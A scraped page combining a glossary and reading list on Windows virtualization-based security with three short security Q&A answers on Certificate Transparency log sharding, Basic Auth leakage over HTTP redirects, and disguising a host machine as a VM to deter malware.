Terms used
- SLAT: Second Level Address Translation
- IOMMU: Input Output Memory Management
- VBS: Virtulization-Based Security
- KDP: Kernel Data Protection
- HVCI: Hyper Visor Code Integrity
- IUM: Isolated User Mode
- VTL: Virtual Trust Level
- VSM: Virtual Secure Mode
- NT Kernel: VTL0 Kernel
- Secure Kernel: VTL1 Kernel
- Memory: VTL0 Memory
- Secure Memory: VTL1 Memory
- PTE: Page Table Entry
- GVA: Guest Virtual Address
- GPA: Guest Physical Address
- TLB: Translation Lookaside Buffer
- NPT: Nested Page Table
- SPA: System Physical Address
- VMCB: Virtual Machine Control Block
- DMA: Direct Memory Access

Further Reading + Sources

https://docs.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-kernel-dma-protection
https://docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/tlfs/vsm
https://docs.microsoft.com/en-us/windows/win32/procthread/isolated-user-mode--ium--processes
https://docs.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs
https://www.microsoft.com/security/blog/2020/07/08/introducing-kernel-data-protection-a-new-platform-security-technology-for-preventing-data-corruption/
https://channel9.msdn.com/Blogs/Seth-Juarez/Windows-10-Virtual-Secure-Mode-with-David-Hepkin
https://channel9.msdn.com/Blogs/Seth-Juarez/Isolated-User-Mode-in-Windows-10-with-Dave-Probert
https://docs.microsoft.com/en-us/windows-hardware/drivers/bringup/device-guard-and-credential-guard


Certificate Transparency logs: why are so many operated by same entities and how do they differ?

Why are some split into 202X series and what does the number mean?

Since certificate transparency logs can grow to include hundreds of millions of certificates, they are often split into separate physical logs (this is called temporal sharding). The number represents the year up till which the log is valid. Certificates are placed in different logs based on their expiration date.
Apart from Argon and Xenon logs, the other logs seem to be old non-sharded logs and as can be seen, have grown somewhat large. The Aviator log is now read-only and new entries to the rest have been restricted.
According to this document (which is a bit old),

Google runs three geographically diverse CT logs which accept all certificates issued by
CAs accepted by any major browser

So the difference between the Xenon and Argon logs is  probably that they are geographically located in different countries. This is probably so that interference from a single government will not render the entire CT infrastructure unreliable. Other CT log operators possibly do the same


Basic Auth over HTTP redirected to HTTPS - does it leak?

If a user sends a request with Basic Authentication header over HTTP, and it gets redirected to HTTPS, either as a rewrite or with HSTS in place, hasn't the information still been revealed?

If the request is redirected to HTTPS (using a 30x response and a Location header), the authentication information has already been sent plain-text over the wire.

If HSTS is enabled, the HTTP connection won't be made and the authentication credentials are sent over HTTPS immediately. This is because Strict Transport Security tells the browser to connect directly over HTTPS.

Note that HSTS is trust-on-first-use and can expire, so it isn't an absolutely waterproof protection.


Can you make your host machine appear as a virtual machine?

Presumably you could, installing e.g. fake drivers that look like VirtualBox Guest Additions, or fabricating a PCI card that looks like virtio.
But malware authors check for these things because they are indicative of security researchers trying to sandbox the malware to reverse engineer it, or antivirus trying to sandbox the malware to test its behavior—but if their techniques no longer accurately detect VMs, or if they don't want to detect VMs anymore because valued infrastructure actually runs in them (e.g. cloud hosting), then they will no longer exit on these conditions.